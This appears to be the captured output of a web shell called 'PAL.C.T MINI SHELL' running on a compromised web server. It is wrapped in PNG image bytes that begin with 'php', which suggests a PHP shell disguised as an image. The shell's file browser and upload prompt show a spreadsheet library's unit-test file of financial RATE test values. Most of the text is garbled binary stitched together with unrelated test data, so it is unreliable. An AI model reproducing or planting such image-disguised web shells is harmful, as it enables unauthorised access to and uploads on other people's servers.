php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Financial/
upload
files >> /var/www/html/FTFL/inc/excel_lib2007/unitTests/rawTestData/Calculation/Financial/RATE.data

#Periods	Payment	Present Value	Future Value	Type	Guess	Result
48,		-200,	8000,						0.0077014724882014
60,		-6000,	120000,						0.0467819164224934
60,		-1000,	120000,						-0.0204429522193565
24,		-250,	5000,						0.0151308439023434
24,		-250,	5000,		NULL,		1,		0.0165501190667120
208,		-700,	8000,						0.0874999976840937
10,		-1000,	6500,						0.0871137556058636
6,		-1000,	100000,		-126068,			0.0484721272835728
6,		1000,	100000,		-126068,			0.0302728738275435
6,		-1000,	-100000,	126068,		0,		0.0302728738275437
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`